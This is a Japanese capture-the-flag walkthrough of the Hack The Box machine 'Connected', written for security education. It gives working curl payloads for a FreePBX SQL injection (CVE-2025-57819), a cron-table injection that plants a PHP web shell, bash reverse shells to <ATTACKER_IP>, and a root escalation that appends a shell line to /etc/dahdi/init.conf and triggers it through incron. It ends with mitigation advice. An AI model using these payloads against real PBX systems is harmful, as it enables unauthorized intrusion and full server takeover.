
このウォークスルーでは、HTBマシン「Connected」の完全な侵害プロセスを文書化しています。
このウォークスルーは、HTBマシンConnectedの完全な侵害プロセスを文書化したものです。
攻撃チェーンは、FreePBXの認証なしSQLインジェクションの脆弱性から始まり、細工したcronジョブを介してasteriskユーザーとしてのコード実行を獲得します。その後、書き込み可能な設定ファイルとincronトリガーを組み合わせることで、rootへの権限昇格が可能になります。
このケースは、Webアプリケーションの脆弱性が、脆弱なローカル権限設定や安全でない特権自動化と組み合わさることで、システム全体の侵害につながることを示しています。
高速ポートスキャンにより、ターゲットの開放ポートが明らかになります:
nmap -T5 --open <MACHINE_IP>
| ポート | サービス |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
さらに調査すると、PHP 7.4を実行するApacheサーバーが確認され、以下の場所へのHTTPリダイレクトが行われています:
http://connected.htb/
サイトに正しくアクセスするには、仮想ホストのマッピングを追加します:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
http://connected.htb/にブラウズすると、以下が表示されます:
FreePBX 16.0.40.7
調査により、FreePBXのEndpoint Managerコンポーネントにおける認証なしエラーベースSQLインジェクションの脆弱性であるCVE-2025-57819が特定されました。
データベースユーザーを抽出して脆弱性を確認します:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
レスポンスには以下が含まれます:
~USER:freepbxuser@localhost~
これにより、SQLインジェクションが機能し、アプリケーションが以下のユーザーとしてMySQLに接続していることが確認されます:
freepbxuser@localhost
FreePBXはスケジュールされたジョブをcron_jobsテーブルに保存します。
このテーブルに悪意のあるエントリを注入することで、任意のコマンドを実行するようにスケジュールできます。
以下のペイロードは、WebルートにPHPウェブシェルを作成します:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
サーバーは一般的な500エラーを返しますが、SQLステートメントは正常に実行されます。
約1分後、ウェブシェルが作成されたことを確認します:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
出力:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
これで、HTTPリクエストを通じてasteriskユーザーとしてのコマンド実行が可能になりました。
攻撃マシンでNetcatリスナーを起動します:
nc -lvnp 4444
ウェブシェルを通じてBashリバースシェルをトリガーします:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
接続が確立されます:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
これで、asteriskユーザーとしてのインタラクティブシェルが得られました。
既知の誤検知を除外して、/etc配下の書き込み可能なファイルを検索します:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
注目すべき結果は以下の通りです:
/etc/dahdi/init.conf
次に、incron設定を確認します:
cat /etc/incron.d/*
これにより、以下のファイルシステムウォッチャーが明らかになります:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
つまり、センチネルファイル:
/var/spool/asterisk/sysadmin/dahdi_restart
に書き込みが行われるたびに、以下のスクリプトが実行されます:
/usr/sbin/sysadmin_dahdi_restart
スクリプトを調査すると、以下をソースしていることがわかります:
/etc/dahdi/init.conf
/etc/dahdi/init.confはasteriskユーザーによって書き込み可能であり、rootプロセスによってソースされるため、rootとしての任意のコマンド実行への経路を提供します。
ポート4445で2つ目のNetcatリスナーを起動します:
nc -lvnp 4445
asteriskシェルから、書き込み可能な設定ファイルにリバースシェルペイロードを追加します:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
監視対象ファイルに書き込むことでincronアクションをトリガーします:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
数秒以内に、rootシェルが接続します:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 完全なrootアクセスを獲得しました!
cat /home/asterisk/user.txt
出力:
HTB{...user_flag...}
cat /root/root.txt
出力:
HTB{...root_flag...}
認証なしSQLインジェクション
│
▼
MySQLクエリ実行
│
▼
悪意のあるCronジョブの挿入
│
▼
PHPウェブシェル
│
▼
asteriskシェル
│
▼
書き込み可能な /etc/dahdi/init.conf
│
▼
incronトリガー
│
▼
rootコマンド実行
│
▼
root
| 脆弱性 | 影響 |
|---|---|
| 認証なしSQLインジェクション | データベースユーザーコンテキストを露呈し、悪意のあるデータ書き込みの足掛かりを提供 |
| Cronジョブインジェクション | 低権限サービスアカウントとしてのリモートコード実行を可能にした |
| 書き込み可能な設定ファイル + incron | rootへの直接的な権限昇格を可能にした |
| ユーザー書き込み可能ファイルをソースする特権スクリプト | root権限で任意のコマンドを実行することを可能にした |
すべてのデータベース操作にパラメータ化クエリと厳格な入力検証を使用してください。
ユーザー制御の入力をSQLクエリに直接連結しないでください。
特権サービスが使用する設定ファイルは、低権限のサービスアカウントによって書き込み可能であってはなりません。
特に、以下の配下のファイルの権限を確認してください:
/etc/
スケジュールされたタスクとファイルシステムウォッチャーを定期的に監査してください。
特権ジョブは、信頼できないユーザーが変更できるファイルに基づいてコマンドを実行すべきではありません。
root所有のスクリプトは、非特権ユーザーによって変更できる設定ファイルをソースすることを避けるべきです。
Webアプリケーションとサービスは、その運用に必要な最小限の権限で実行されるべきです。
FreePBX/Apache環境の権限を削減することで、アプリケーション侵害の成功時の影響を大幅に制限できます。
CVE-2025-57819
│
▼
認証なしSQLインジェクション
│
▼
cron_jobsテーブルの操作
│
▼
スケジュールされたPHPウェブシェル
│
▼
asteriskユーザー
│
▼
書き込み可能な /etc/dahdi/init.conf
│
▼
incronファイルウォッチャー
│
▼
特権DAHDIスクリプト
│
▼
rootシェル
│
▼
🏆 完全なシステム侵害
免責事項: この記事は、Hack The Boxラボや管理された環境などの教育目的および認可されたセキュリティテストを意図しています。